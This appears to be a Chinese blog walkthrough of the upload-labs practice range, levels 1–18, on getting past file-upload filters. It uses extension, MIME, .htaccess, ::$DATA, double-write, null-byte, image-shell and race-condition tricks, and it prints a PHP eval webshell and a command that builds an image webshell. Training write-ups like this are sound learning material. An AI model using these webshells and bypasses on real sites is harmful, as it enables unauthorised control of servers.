upload-labs-master 1-18解析

目录

前言

Pass-01  JS绕过

Pass-02  MIME绕过

Pass-03  php3绕过

​Pass-04  .htaccess绕过

​Pass-05  . .绕过

​Pass-06  大小写绕过

Pass-07 空格绕过

​Pass-08 . 绕过

Pass-09 ::$DATA绕过

​Pass-10 . .绕过 

Pass-11 双写绕过

Pass-12 00截断

​Pass-13 00截断

Pass-14 图片马

Pass-15 图片马

Pass-16 图片马

Pass-17 二次渲染

Pass-18 条件竞争


前言

我们打开靶场,打开第一关是这样的

我们的任务是上传一个webshell,并且整个靶场都几乎是这样,那么问题来了,什么是webshell?

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。   --来自百度百科 

那么问题就来了,如何上传webshell?webshell在哪执行?怎么执行?我将慢慢解答

先建立一个php文件,命名为1.php,其中内容为

<?php
phpinfo();
>

上面的代码是一个运行指令,可以查看php服务器的配置信息

Pass-01  JS绕过

第一关先上传一下试试,看看如果我们没有上传图片而是php文件会发生什么

结果并不是很令人满意,但是查看网页源代码发现,他的检查是在前端js代码中 

我们可以先将1.php先保存为1.jpg,然后用burpsuite抓包,让前端检查完后修改后缀名


 将1.jpg改成1.php后将包继续发送即可

然后右键单击这张“图片”,复制图片地址

该地址则是我们上传的文件的地址,在浏览器中访问该地址,我们就得到了这个

Pass-02  MIME绕过

点击清空上传文件,也就是把我们刚才上传的文件删掉,避免出现未上传成功但我们却成功访问php配置界面的情况

这里我们用上一关的办法就能解决,为什么呢?首先我们需要直到MIME是什么

简单点讲,就是设定文件用什么方式打开,比如常见的有image/jpeg就代表这是图片,格式是jpeg,而程序会检查这个类型到底是不是规则中的。而我们上一关在抓包前上传的就是图片格式的文件(即1.jpg),可以看一下上一关

在红色框的下一行,蓝色框中的MIME恰巧是正确的,所以使用上一关的方法也是可行的

接下来看一种不一样的,我们直接上传1.php并抓包

可以看到content-type是application/octet-stream,我们只需要将其修改成image/jpeg即可

尝试访问配置页面,本关完成!

Pass-03  php3绕过

什么是黑名单?黑名单中的“人”就相当于敌人,是我们国家不欢迎的,发现了就会把他关起来扔出去。

我们先看一下源码,底下的几种都是敌人,是不被欢迎的

 $deny_ext = array('.asp','.aspx','.php','.jsp');

但是黑名单的缺点就是往往不能过滤掉所有我们不想要的,比如这一关,我们可以使用php3作为后缀绕过检查

ok,发现是上传成功了的,尝试访问失败,是因为配置原因

在httpd.conf文件中找到这一行,加上php3,并删掉注释符#,然后重启服务后尝试连接

Pass-04  .htaccess绕过

查看提示后,绝了

这么多,但是法网恢恢,疏而不漏

我们可以上传.htaccess文件,让他把任何文件都当成.php去解析

<FilesMatch "1.jpg">         //1.jpg为即将上传的文件,其中为php代码
    SetHandler application/x-httpd-php
</FilesMatch>

上传时抓包将文件名只保留后缀 

 上传完成后在上传1.jpg

然后,就没有然后了

Pass-05  . .绕过

这一关又过滤了.htacess,那么没办法了吗?

我们可以利用.user.ini,php 5.3.0版本之后,php支持基于每个目录的.htaccess风格ini文件,php会在每个目录下扫描ini文件。.user.ini中的字段会被php看作配置文件来解析。我是用这个方法失败了,因此想知道详细内容的可以百度,在此不在赘述。

使用. .(点空格点)绕过检查上传文件,并且这一关开始换点新鲜的玩意儿,不在去看phpinfo了,借助蚁剑工具直接去getshell

php文件中代码为

<?php @eval($_POST['vegetable']);?>

 将该php文件上传并用burpsuite抓包,修改文件后缀名

上传成功后,复制图片地址,用蚁剑连接

在蚁剑界面空白处右击,选择添加数据

 将图片地址粘贴之后,输入代码中设置的密码,点击测试链接,会出现成功的提示则证明可以连接

 再点击添加按钮,在下图处双击即可进入管理界面 

管理界面如图所示 

Pass-06  大小写绕过

这一关直接可以使用大小写来绕过

直接上传一个小马,后缀名写成phP绕过检查

 上传成功后使用蚁剑连接

Pass-07 空格绕过

借助burpsuite在上传时,给后缀后面加一个空格,以此来绕过检查

上蚁剑,连接!!

Pass-08 . 绕过

这一关可以使用后缀名加 . 来绕过

依然使用burpsuite抓包,然后修改文件后缀名,给后面加一个点

之后还是一样的套路,使用蚁剑链接即可

Pass-09 ::$DATA绕过

php文件名后加上::$DATA时会把之后的数据当成文件流处理,不会检测后缀名

依然使用burpsuite修改文件名

上传成功后同样的方式,用蚁剑连接,不过要将刚才添加的后缀去除

然后就成功了

Pass-10 . .绕过 

这一关可以使用之前第五关的方式,一摸一样

Pass-11 双写绕过

这一关使用了函数str_ireplace()替换黑名单中的字符串,可以使用双写绕过        

在此需要注意的是,双写时写成phphpp,上传到文件中的文件后缀就变成了hpp,因为他先删除了php,就剩下了hpp

因此,我们需要将上传文件的后缀名改为pphphp,他会删除红色部分的php,留下来的依然是php

可以看到上传成功的文件为1.php,再用蚁剑连接即可

Pass-12 00截断

这一关使用了白名单,文件上传的路径是拼接生成的

要完成这一关,首先有一个很重要的东西,就是php版本要低,低于5.3.4,并且magic_quotes_gpc需要关闭

上传文件时,在../upload/加上1.php%00,文件名命名为1.jpg,然后将包放掉 

使用蚁剑连接时,需要将标为高亮的这一部分删掉

然后即可成功

Pass-13 00截断

白名单,文件上传路径仍然是拼接生成,使用截断绕过,与上一关不同的是,这一关使用的是post

 不过,还是上传,抓包,修改这两处,然后点击hex

将这里的2b改为00,即修改+对应位置的十六进制数为00,然后继续发包

然后使用蚁剑连接,将url多余部分删除即可成功连接

Pass-14 图片马

打开这一关可以看到任务

需要制作一个图片马并上传,然后利用文件包含漏洞运行代码

首先先制作一个图片马,之所以叫图片马就是因为又有图片又有马,先准备一个图片命名为1.jpg,写有一句话木马的php命名为1.php

打开cmd,使用语句copy 1.png/b + 1.php/a shell.jpg

之后我们将shell.jpg上传,构造文件包含url,复制上传图片名到*.jpg

······include.php?file=upload/*.jpg

 

 添加后成功

Pass-15 图片马

本关依然可以利用图片马+文件包含的方式,与14关无异

Pass-16 图片马

本关依然可以利用图片马+文件包含的方式,与14关无异

Pass-17 二次渲染

本关仍然需要使用图片马+文件包含的方式,只不过多了二次渲染

所以需要找出二次渲染后图片没有被改变的地方

Pass-18 条件竞争

这一关提示要我们代码审计 

那就看看源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

先将上传的文件保存,然后与黑名单对比,如果是允许范围内的就重命名,否则使用unlink函数删除该文件

那我们仍然可以上传一个图片马,利用文件包含漏洞

也可以上传php文件,在unlink代码执行前快速访问

 

 

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值